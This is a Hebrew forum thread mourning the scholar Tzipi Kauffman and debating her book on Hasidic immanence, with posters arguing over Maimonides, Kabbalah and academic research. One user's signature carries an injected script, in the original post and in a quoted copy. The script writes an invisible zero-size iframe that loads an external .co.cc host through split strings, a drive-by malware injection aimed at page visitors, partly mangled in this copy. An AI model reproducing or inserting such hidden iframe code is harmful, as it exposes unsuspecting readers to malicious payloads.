בית פורומים עצור כאן חושבים

האם הכל אלוקות? ציפי קויפמן ע"ה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-3/10/2019 08:39 לינק ישיר 
האם הכל אלוקות? ציפי קויפמן ע"ה

בשלהי אלול (תשע"ט) הלכה לעולמה חוקרת שכתבה את אחד הספרים החשובים על החסידות ועל שאלה פילוסופית סבוכה שאפשר לנסח במילים יותר מובנות אך עלולות להטעות: האם הכל א-לוהות?

זו נקודת הפתיחה לספרה "בכל דרכיך דעהו". בניסוח פילוסופי, הבעש"ט שאל: אם הכל א-לוהות, אז איך יתכן רע? איך יש איסור למשל על עבודה זרה?

קשה לי להימנע מלהזכיר את ביקורתי שמתחילה קודם: ההנחה של השאלה היא שהכל א-לוהות ובעיני זוהי מינות. יש א-ל ויש עולם והא-ל, בלשון פילוסופית שקשה לוותר עליה, הוא טרנסנצנדטי. אבל נקודת המוצא של התחום היא להפך. לית אתר פנוי מיניה. והנושא כאן הוא פרידה מן החוקרת רק שסברתי שאסור לדלג על העמדת ההנחה היסודית הפילוסופית לביקורת).

לא מצאתי ערך עליה בויקי, אבל אפשר למצוא כמה מילים באתר של אוניברסיטת בר אילן שבה לימדה. כתבו עליה שהיתה תובענית מאד בדרישותיה האקדמיות מן התלמידים, ועם כל זאת זכתה בתואר של מרצה מצטיינת. זה אומר משהו על אישיותה, כמו גם העובדה שהשתדלה להשקיע בכל תלמיד. אבל זו עדות מן הדף שהוקדש לזכרה, וכמובן מעשיו של האדם חשובים לא פחות ואולי יותר מן ההגות שלו.

עבודת הדוקטורט שלה עמדה בבסיס הספר שלה "בכל דרכיך דעהו", שנכתב בהדרכתו של משה אידל, מחשובי החוקרים בתחום הקבלה. ההקדמה לספר, כמה עשרות עמודים, סוקרת את ראשיתו של הנושא, אם הוא קיים, או אפשרי כפירוש, לתנ"ך ולמקורות הראשונים של התורה שבעל פה. כמובן, הרעיון של אימננציה, נוכחות הא-ל במציאות, גובש בידי פלוטינוס. המיסטיקאי הגוי שלדעתי אפשר לראות בו את אבי הקבלה...

מן הראוי היה לפתח את הנושא הזה, ואני מקוה לחזור אליו בפוסטים נוספים כפי שכתבתי באשכול המביע את תקוותי לשוב ולכתוב כאן. בינתים, יהיו המילים האלו לזכרה של חוקרת שלא הכרתי ולא זכיתי להכיר, אבל את תורתה הפילוסופית זכיתי להכיר דרך ספרה ואני ממליץ עליו לאחרים.

חז"ל השתמשו בביטוי "שפתיו דובבות בקבר" על תלמיד חכם שמזכירים שמועה שלו. האם יש להבין את הדברים כפשוטם או שמא התכוונו רק למטאפורה? ואם זו מטאפורה, כלומר שפה מליצית, האם התכוונו לומר רק שמה שנותר מן האדם או החשוב ביותר שנותר ממנו הוא הלימוד שלימד? או שמא יש כאן לכל הפחות ביטוי של אמונה בכך שבאותה מציאות נסתרת מאיתנו שבהן ממשיך האדם להתקיים לאחר מותו, הוא מודע לכך שדברים שחידש ולימד ממשיכים להדהד, ומסתבר שיש לו נחת מזה באותו אופן שזה אפשרי? לי מסתבר שהתכוונו לאפשרות השלישית הזו, אבל כמובן יהיה מי שישאל - מתבקש לשאול - האם זה שחז"ל אמרו זאת זה מוכיח שזה נכון. שאלת השאלות.

ציפי קויפמן השאירה נכס חשוב ומועיל בתחום מחקר שאלת הנוכחות הא-לוהית בבריאה, סיכמה גישות מעולם החסידות לשאה זו והיוצא ממנה, כלומר אם הא-ל נוכח, מה זה אומר לגבינו ומה זה מאפשר לנו ומחייב אותנו. מסתבר שיש לה מורשת אישית ומשפחתית אבל כאן אני, כתלמיד של החיבור שלה, יכול רק להתייחס לדבריה הדובבים בעולם של המחקר, שבו חיים אלו שליבם נושאם להתמודד עם שאלות אלו. ראו בדברים אלו מצבה קטנה לזכרה וגם הזמנה לעיין בספרה, ללמוד על שאלת האימננציה ויהיו שפתיה דובבות.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דווח על תוכן פוגעני

מנותק
נשלח ב-6/11/2019 14:02 לינק ישיר 

דורש
ודרשת וחקרת



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/11/2019 13:35 לינק ישיר 

תלמיד
אתה יכול להמשיך לחקור.


נשלח מהאנדרואיד שלי

_________________

קבל את האמת ממי שאומרו. ניכרים דברי אמת




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/11/2019 12:58 לינק ישיר 

לא ברור בכלל מה אתה רוצה .
אכן, הקבלה עוסקת בעניינים רוחניים שמציאותם הפיזית לא ברת תפיסה במח האנושי, ודברים שלא תלויים בהגיון, אלא בקבלה של רב לתלמיד מה שקיבל מרבו, אבל החקירה בכוונתם, נכונותם, שיטתם של בעלי שיטות בקבלה, וכן ויכוח על מהותה וקיומה של קבלה היו ויהיו . 



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/11/2019 05:26 לינק ישיר 

נקודה להבהרה
כל מה שנכתב בהודעה הקודמת מתייחס למציאות הרוח בעולם ולא לחומר.
כי חומר זה דבר שניתן להוכיח רוח לא.
רוח כל אחד לפי השגתו הרוחנית הקשור לנשמה שהיא חלק אלוקי ממעל שמקבלת מלמעלה נתונים ומעבירה לאדם.
ולא כל אדם זוכה לזה.


נשלח מהאנדרואיד שלי

_________________

קבל את האמת ממי שאומרו. ניכרים דברי אמת




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/11/2019 05:09 לינק ישיר 

המציאות היא אחת ולא שייך לדון על עצם המציאות ולכן ההתיחסות בדיון זה איך כל אחד רואה את המציאות ואיך הוא מבין את המציאות.

אבל... וזה חשוב יש את ענין האמונה מה שעלינו להאמין ועל זה יש כן מה לדון מה לחייבים להאמין.
ועל זה הויכוח שלי עם מיימוני.
הויכוח זה לא על המציאות כי המציאות כל אחד יכול לראות אותה שונה.
הויכוח הוא מה עלינו להאמין.
ולכן אני לא רואה צורך לדון על הקבלה היות ולא על זה נסוב הויכוח שלי עם מיימוני.
הויכוח הוא האם הכל בורא עולם או שיש בורא ויש עולם נפרד מהבורא.
אני ניסיתי בכמה אשכולות להסביר את ענין יחוד השם אבל בזה נגמר העניין.
ולכן נשאר הויכוח עם מיימוני האם להאמין בקבלה זה חלק מהאמונה או לא.
לדעתי זה חלק מהאמונה ולדעתו זו מינות.
וכבר דנו בזה הרבה אני מול מיימוני האם ולמה האמונה בקבלה היא מחוייבת באמונה באחדות הבורא או לא.
אבל לדעתי ברור שכל אחד רואה את המציאות לפי איך שנראה לו ואין שום נברא שיכול להשיג את האמתית אלא כל נברא רואה את מה שביכולתו לראות במציאות.
וזה ענינו של מדע כל אחד מוכיח מה הוא יודע אבל לא יכול להוכיח את המציאות האבסולוטית



נשלח מהאנדרואיד שלי

_________________

קבל את האמת ממי שאומרו. ניכרים דברי אמת




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/11/2019 19:21 לינק ישיר 

אל תתנשא בכתיבת הגדרות סתמיות וכלליות . תסביר בטעם והגיון, אם יש לך . אם לטענתך יש כאלה שאינם מבינים כלום, עליך הראיה שאינך אחד  מהם 
אכן הקבלה עוסקת בעניינים רוחניים ובדימויים, אבל אין זה מונע מחקירתם .
למשל, לפי הקבלה יש עניין שנקרא 'תורת הצמצום', כפשוטו או לא כפשוטו, כפשוטו ממש או כפשוטו אצלינו, מיימוני כאן טוען שזה כפשוטו ממש, שישנם שתי רשויות נפרדות, הבורא והבריאה, ולפי שלא כפשוטו יש בורא ובריאה שגם היא הבורא רק שאנחנו לא רואים זאת.
מה ימנע מלהכנס למחקר על זה , מה שיטתו של מקובל א' ומה שיטתו של מקובל ב' וכו' .
 



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/11/2019 15:23 לינק ישיר 
דורש_אמת

תלמידתלמיד כתב:
תקרא את הקישורים המצורפים, תחפש בגוגל "מחקר הקבלה" ותראה שיש מאות חוקרים כל אחת עם שיטה משלו, וגם ביהדות עצמה יש מחקרי קבלה, ויש שיטות בקבלה ויש מחלוקות .רק שלא קוראים לזה מחקר אלא מכנים את זה בשמות אחרים. 
או שאתה עצמך לא מכיר את התחום ורק מדקלם משפטים שמישהו אמר לך. 
לא מדקלם שום משפט. לדעתי להשיג את הקבלה אי אפשר דרך חקירות, היות וזה לא פילוסופיה רגילה של שכל רגיל שהוא מוגבל בעולם החומר. את הקבלה אפשר להשיג רק בעזרת שמים היות והקבלה זה רוח ולכן כללי החומר המקובלים אצל חוקרים לא חל על הקבלה אלא יש חוקים אחרים הקשורים לרוח. ונראה לי שאולי כדאי לדון קודם מה זה חומר ומה זה רוח. ורק לאחר מכן נוכל לדון מי מדקלם ומי משיג.

_________________

קבל את האמת ממי שאומרו. ניכרים דברי אמת




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/11/2019 14:42 לינק ישיר 

תקרא את הקישורים המצורפים, תחפש בגוגל "מחקר הקבלה" ותראה שיש מאות חוקרים כל אחת עם שיטה משלו, וגם ביהדות עצמה יש מחקרי קבלה, ויש שיטות בקבלה ויש מחלוקות .רק שלא קוראים לזה מחקר אלא מכנים את זה בשמות אחרים. 
או שאתה עצמך לא מכיר את התחום ורק מדקלם משפטים שמישהו אמר לך. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/11/2019 14:24 לינק ישיר 
דורש_אמת

תלמידתלמיד כתב:
>ג. דורש אמת, תקרא קצת ותראה שאפשר לחקור ולהביע דעה על הכל.  רק באופן ענייני כמובן.
תלמיד כנראה אתה שייך לקבוצת השמאל שלא מודעת למוגבלות ולא יודעת שיש ידע שאין ביכולתה לדעת. ועל זה כתבתי בפוסט הנ"ל. לדעתי לא כל דבר ניתן לחקור... וגם לא כל דבר כל אחד יכול ללמוד. ומותר להסכים שאין הסכמה. מי שחושב שכל דבר אפשר לחקור מלמד על עצמו יותר מכל על מוגבלותו

_________________

קבל את האמת ממי שאומרו. ניכרים דברי אמת




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/11/2019 12:52 לינק ישיר 

א.גם את תפיסת הרמב"ם שכל העולם חי וקיים בגלל האל המחייהו כל רגע, אפשר לפרש על פי תפיסת הכל אלוקות.

ב. מקבילה לדיון זה בדיון ארוך על תפיסת האלוקות של שפינוזה ונסיון השוואה לתפיסת הזוהר והקבלה.

www.bhol.co.il/forums/topic.asp?cat_id=24&topic_id=392197&forum_id=1364
דיון המשך באשכול האל של מיימוני
www.bhol.co.il/forums/topic.asp?cat_id=24&topic_id=1654064&forum_id=1364
ודיון קודם באשכול הקרוי "השם".
www.bhol.co.il/forums/topic.asp?cat_id=24&topic_id=119938&forum_id=1364

ג. דורש אמת, תקרא קצת ותראה שאפשר לחקור ולהביע דעה על הכל.  רק באופן ענייני כמובן.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/11/2019 09:41 לינק ישיר 
דורש_אמת



נוכל לתמצת את מיימוני בשורה אחת .

מיימוני לא מאמין בדברים ששכלו לא משיג ואינו מוכן לקבל שיש דברים ששכלו  לא משיג  .
וכבר כתבתי פוסט קצר בענין ההבדל בין ימין לשמאל 
https://dovarticle.blogspot.com/2019/10/blog-post.html

ברור לי שמיימוני לא יקבל את מה שכתבתי בפוסט אבל בדיוק לכך נכתב הפוסט לסווג את סוג האנשים שלא מוכנים לקבל את מוגבלותם..
אבל זו בעיה של כל מאפיין שמאל שאינו יכול להכיל חשיבה ימנית בשכל ולהאמין אינו רוצה .
או נגדיר זאת ברור יותר שמאל זה תפיסה רק בחומר ימין זה תפיסה גם ברוח ולכן אין סיכוי שמיימוני או כל אדם שחושב בצורה אקדמית יכול להכיל את הענין האלוקי או האין סופי הלא מוגדר .
ולכן לאקדמיה אין כלים לדון בנושא הקבלה היות והאקדמיה שייכת לחומר והקבלה היא רוח .
ברור שעצם ההשואה שמיימוני משווה בין פילוסוף גויי לבין האר"י והזהר ממחיש שמיימוני לא שייך לאנשים הקשורים לרוח האלוקית שרק בודדים זכו להשיג .
בפורם הזה כבר דנתי הרבה בענין ואני לא חושב שאצליח לשנות במשהו את דעתו של מיימוני , אבל כן חשוב לי להבהיר למי שקורא את האשכולות בפורם שעליו לדעת שקבלה ואור אין סוף אין להם מקום בפורם זה היות ובאקדמיה אין מקום לקבלה וכל אקדמי שחוקר את הקבלה מקלקל יותר משמתקן .




תוקן על ידי דורש_אמת ב- 05/11/2019 07:43:33




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/11/2019 08:37 לינק ישיר 

מצד 4

שתי שאלות שאלת. את האחרונה לא הבנתי מה באת לומר. אני מנסה לענות על הראשונה.

ולי יש דילמה אם לענות ארוך מדי או קצר מדי. ארוך מדי מעייף. קצר מדי לא ברור.

אנסה למצוא את שביל הזהב. לפחות עבורך.

יש קושי פילוסופי לומר משהו על אלוקים. אני מקוה שאפשר לדלג על ביאור הקושי, שכבר נידון אצלנו פעמים רבות, וגם על הפתרון האישי שלי באשכולי "לך דומיה תהלה".

כן אזכיר שיש דגמים ואמירות שונים בתחום התיאולוגיה, כלומר על אלוקים, במסורת היהודית הרחבה. הדגם המקראי, לפי הבנתי שלי, בדומה לקויפמן למשל, רואה באלוקים מישהו שהוא טרנסצנדנטי, "מעבר", "נשגב", ללא תארים מהעולם הפיזי. הביטוי כי ה' הוא אש אוכלת בא לומר שהוא אינו דומה לשום דבר בעולם. וכמובן, יש סתירות בין הדגם הזה לבין לייחס לאלוקים תכונות פסיכולוגיות ושינויים פסיכולוגיים כמו אהבה ורחמים מול כעס ורצון לנקום. לפי הבנתי, אלו ביטויים שהקורא אמור לקבל כמשלים. זו כמובן שיטת הרמב"ם אבל לדעתי זה גם הפשט במקרא. ויש חולקים.

המונח "מינות" השתגר בהלכה, ושוב לפי הרמב"ם, עבור מי שמאמין באלוקים אבל מייחס לו תכונות שקריות (לא נכונות). מוסכם על הרוב שלייחס לאלוקים תכונה פיזיקלית זוהי מינות (אני כותב "על הרוב" בגלל שיש מפרשים ביטויים שונים אצל מחברים בימי הראשונים כתומכים בגישה תמימה או מיתממת שכן אפשר לייחס תכונות פיזיקליות לאלוקים. ולא זה הנושא כאן).

יש נסיון לענות על שאלות כמו "אם אלוקים כולו נשגב או רוחני אז איך הוא ברא עולם פיזיקלי". השאלה הזו לדעתי מבוססת על טעות פילוסופית. היחס של בריאה אינו ניתן להבנה על ידי פירוקו או השוואתו לדגמים של מעשים ואירועים המוכרים לנו. אולם השאלה הזו הטרידה מאד הוגים וגם מיסטיקנים. והמפורסם מכולם הוא פלוטינוס.

אותו הוגה דעות נכרי מצא תשובה במשל, שאומר כי הא-ל מוציא אור והאור ככל שהוא מתקדם או מתרחק מתגשם יותר. כמובן צריך להבין מה אמר אבל הדגם הזה נקלט מאוחר יותר בקבלה עם התפתחותה.

והדגם הזה מאפשר ליצור קישור בין אלוקים מכאן לבין העולם מכאן, מה שלדעתי ועל סמך הנחות היסוד הפילוסופיות שלי זוהי טעות קטגורית (בין רמות של דיון).

הקבלה נוטלת ביטויים שעשויים להיות לקוחים מן התלמוד ומן המדרש, שמטרתם לומר שאפשר להתפלל בכל מקום, ומייחסת להם משמעות אונטולוגית (על המציאות). כך עם הביטוי "לית אתר פנוי מיניה". אין מקום שאין הוא, כלומר אלוקים, נמצא בו. כביכול אלוקים שם. אבל, כאמור, זו טעות קטגורית. וזו טעות מסוכנת, ולכן יש לאפיינה, כפי שיטתי כהרמב"ם, בתור מינות.

כמובן יהיו כאלו שיגידו: מי אומר שהרמב"ם צודק. אולי להפך, דווקא בעלי שיטות כאלו, כמו פלוטינוס, הזוהר, האר"י, הבעש"ט, התניא - דווקא הם תפסו אמת יסודית ועמוקה מאד.

לדעתי, שוב, זו טעות קשה ומסוכנת. ולכן כיניתי אותה בשם ההלכתי "מינות".

איני יכול לקוות שדעתי זו תתקבל ובוודאי לא רק בגלל שאני כתבתי אותה. איני בא לטעון טענה ממקור של סמכות: ראו, למדתי ואני יודע. אני כן מבקש שהנושא ייבחן על ידי הקורא ואני מעז לקוות שהמעיין יבין ויסכים וכך יינצל מן הטעות.



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/11/2019 21:50 לינק ישיר 
מצדרביעי

מיימוני כתב:
בשלהי אלול (תשע"ט) הלכה לעולמה חוקרת שכתבה את אחד הספרים החשובים על החסידות ועל שאלה פילוסופית סבוכה שאפשר לנסח במילים יותר מובנות אך עלולות להטעות: האם הכל א-לוהות?

זו נקודת הפתיחה לספרה "בכל דרכיך דעהו". בניסוח פילוסופי, הבעש"ט שאל: אם הכל א-לוהות, אז איך יתכן רע? איך יש איסור למשל על עבודה זרה?

קשה לי להימנע מלהזכיר את ביקורתי שמתחילה קודם: ההנחה של השאלה היא שהכל א-לוהות ובעיני זוהי מינות. יש א-ל ויש עולם והא-ל, בלשון פילוסופית שקשה לוותר עליה, הוא טרנסנצנדטי. אבל נקודת המוצא של התחום היא להפך. לית אתר פנוי מיניה. והנושא כאן הוא פרידה מן החוקרת רק שסברתי שאסור לדלג על העמדת ההנחה היסודית הפילוסופית לביקורת).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


למה זה מינות?
אם דברת על לשון פילוסופית, האם הגיוני שהאין סוף "יעלם" ממקומות מסוימים?



דדווח על תוכן פוגעני

מחובר
נשלח ב-3/10/2019 11:28 לינק ישיר 


   https://www.makorrishon.co.il/judaism/173935/

   https://kotar.cet.ac.il/KotarApp/Index/Book.aspx?nBookID=82997551

   



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/10/2019 08:58 לינק ישיר 

יישר כוח !



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > האם הכל אלוקות? ציפי קויפמן ע"ה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר